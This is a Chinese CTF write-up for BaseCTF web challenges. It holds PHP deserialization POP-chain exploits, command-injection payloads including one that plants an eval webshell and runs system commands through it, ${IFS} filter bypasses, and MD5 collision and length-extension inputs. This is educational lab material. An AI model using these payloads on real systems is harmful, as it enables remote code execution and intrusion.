目录
[2、 一起吃豆豆](#2、 一起吃豆豆)
[4、Really EZ POP](#4、Really EZ POP)
[6、以你说你懂 MD5?](#6、以你说你懂 MD5?)
1、ez_ser
简单的 pop 链构造,关于反序列化的魔术方法、 pop 链构造的详细讲解参考我之前的博客:
CTF - Web 干货_ctf web知识点大全-CSDN博客https://myon6.blog.csdn.net/article/details/135660293
exp:
php
<?php
class re{
public $chu0;
public function __toString(){ // 当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono; // 2 pwn
}
}
class web {
public $kw;
public $dt;
public function __wakeup() { // wakeup 在反序列化时会自己触发的,也就是链头了
echo "lalalla".$this->kw; // 3 re
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) { // 调用类中不存在变量时触发(找有连续箭头的 this->a->b)
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag(); // 1 Misc
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}
public function getflag() {
echo "you are over!";
}
}
$m = new Misc();
$p = new pwn();
$p->over = $m;
$r = new re();
$r->chu0 = $p;
$w = new web();
$w->kw = $r;
echo serialize($w);
?>
构造 payload:
php
?ser=O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";N;s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}ALL Done!
它这里所有的 if 语句都不影响后面语句执行的,所以其实不用管它赋不赋值,只需要找链子传着走,从链尾传到链头就行了。
2、 一起吃豆豆
F12 被禁用了,右键->检查,打开开发者工具
index.js 里面找到一串 base64 编码:
php
QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==
解码:
拿到 flag:BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}
3、你听不到我的声音
给的是 shell_exec 无回显的命令执行函数
根据前面几道题的经验,猜测 flag 在根目录下
payload:
php
cmd=cat /flag > 1.txt
访问 1.txt 即可看到 flag
如果这种方法不行,我们猜不到它 flag 到底在哪儿以及叫什么名字怎么办呢?
这里什么过滤都没有,直接写入 webshell:
php
cmd=echo '<?php @eval($_REQUEST[1]); ?>' > 1.php
访问 1.php,回显空白说明解析成功
调用木马:
看一下根目录:
php
1=system('ls /');
读取 flag:
php
1=system('tac /flag');
拿到 flag:BaseCTF{104b2b1b-fb0f-4a93-b60b-5d9df9945089}
4、Really EZ POP
同样的配方,先找链尾,很明显是这里:eval($this->cmd);
往上依次找就行了,最开始写出来的 exp 是:
php
<?php
class Sink
{
private $cmd = "system('ls');";
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
$s1 = new Sink();
$s2 = new Shark();
$s2->word = $s1;
$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;
echo serialize($n)
?>
但是 $s2->word = $s1; 中 word 是私有变量,这里是调用不到的,链子顺序没有问题,修改代码访问私有变量。
方法(1)
通过使用 PHP 的反射机制访问和修改类的私有属性:
php
<?php
class Sink
{
private $cmd = 'system("tac /flag");';
public function __toString() // 当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
{
eval($this->cmd); // 1 system("ls");
}
}
class Shark
{
private $word;
public function __invoke() // 对象被当做函数进行调用时触发(找有括号的类似$a()这种)
{
echo 'Shark says: ' . $this->word; // 2 Sink
}
}
class Sea
{
public $animal;
public function __get($name) // 调用类中不存在变量时触发(找有连续箭头的 this->a->b)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani(); // 3 Shark
}
}
class Nature
{
public $sea;
public function __destruct() // 对象被销毁时自动触发,也就是我们的链头了
{
echo $this->sea->see; // 4 Sea
}
}
// 按照 1 2 3 4 的顺序编写 exp
$s1 = new Sink();
$s2 = new Shark();
$reflection = new ReflectionClass($s2);
$property = $reflection->getProperty('word');
$property->setAccessible(true);
$property->setValue($s2, $s1);
$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;
echo urlencode(serialize($n));
?>
拿到 flag:BaseCTF{99c9a2fb-a5d2-4dc8-81fa-a6018812131d}
方法(2)
在类中定义一个公有方法,用来设置或更改类的私有属性的值。
php
<?php
class Sink
{
private $cmd = "system('ls');";
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
public function setWord($newWord)
{
$this->word = $newWord;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
$s1 = new Sink();
$s2 = new Shark();
$s2->setWord($s1); // 使用 setter 方法
$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;
echo urlencode(serialize($n));
?>
5、RCEisamazingwithspace
ls 可以直接执行,但是这里过滤了 \s,也就是任意空白字符,包括:
空格(space)
制表符(tab)\t
换行符(newline)\n
回车符(carriage return)\r
垂直制表符(vertical tab)\v
换页符(form feed)\f
解法(1)
使用 ${IFS} 代替空格
(说明:IFS是linux的特殊变量,默认值是space空格, 是取变量值,IFS就代表空格)
php
cmd=ls${IFS}/
执行成功,读取 flag:
php
cmd=tac${IFS}/flag
拿到 flag:BaseCTF{ceb13ece-6bef-46d0-b07b-f7382cdf5e9d}
解法(2)
php
cmd=tac</flag
解法(3)
php
cmd=tac$IFS$9/flag
解法(4)
php
cmd=tac$IFS/flag
6、以你说你懂 MD5?
先说前三个,包括md5 数组、字符、强碰撞的绕过:
php
apple[]=1&banana[]=2&appple=QLTHNDT&bananana=QNKCDZO&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
最后的这个就真不知道了,看了下题目的提示:MD5 长度拓展攻击
那就脚本原理吧,原本是有一个工具 hashpump,但是我 git 的时候提示找不到仓库了,然后在 github 上找到了一个写好的 python脚本,叫做 hash-ext-attack:
以为自己环境为例
php
已知hash: 2d3053e40e295fd34fe1931f2b028b49
php
扩展字符: admin
php
密钥长度:96
运行得到:
php
新明文(url编码):%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin
php
新hash:fd78be8215229fb48e7ac5b4537cb7ae
追加 name 和 md5 参数提交:
php
apple[]=1&banana[]=2&appple=QLTHNDT&bananana=QNKCDZO&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=fd78be8215229fb48e7ac5b4537cb7ae
拿到 flag:BaseCTF{8e7fd329-32ec-4ff0-b4d3-a435be42a683}
7、数学大师
注意有 cookie,发送请求的时候要加上
写了个代码来处理:
python
# @author:Myon
# @time:20240826
import requests
import re
url = 'http://challenge.basectf.fun:43966/'
cookies = {'PHPSESSID': 's61uaat8ivhrnipm0pqehmvu8a'}
# 第一次 GET 请求
response = requests.get(url, cookies=cookies)
print(response.text)
# 循环 50 次
for i in range(50):
# 从响应中匹配计算表达式,\d+ 匹配一个或多个连续的数字,注意 \-\+\*\/ 需要转义,在正则表达式中,连字符 - 通常表示一个范围;+ 是量词,表示前面的元素可以重复一次或多次;* 表示零次或多次;/ 是正则表达式的边界
match = re.search(r'\d+[×÷\-\+\*\/]\d+', response.text)
if match:
# 对表达式进行处理,乘号换为星号,除号换为取整
expression = match.group(0).replace('×', '*').replace('÷', '//')
print(expression)
# 直接将表达式丢给 eval 处理
result = eval(expression)
print(result)
payload = {'answer': result}
# POST 提交结果,响应结果作为下次提取的对象
response = requests.post(url, data=payload, cookies=cookies)
print(response.text)
else:
# 没有匹配到计算表达式,结束循环
break
注意,它第二次的题目是来源于第一次的响应而不是再次从 get 请求中获取
拿到 flag:BaseCTF{2e9b0802-c642-4224-9035-653cbd8f64fe}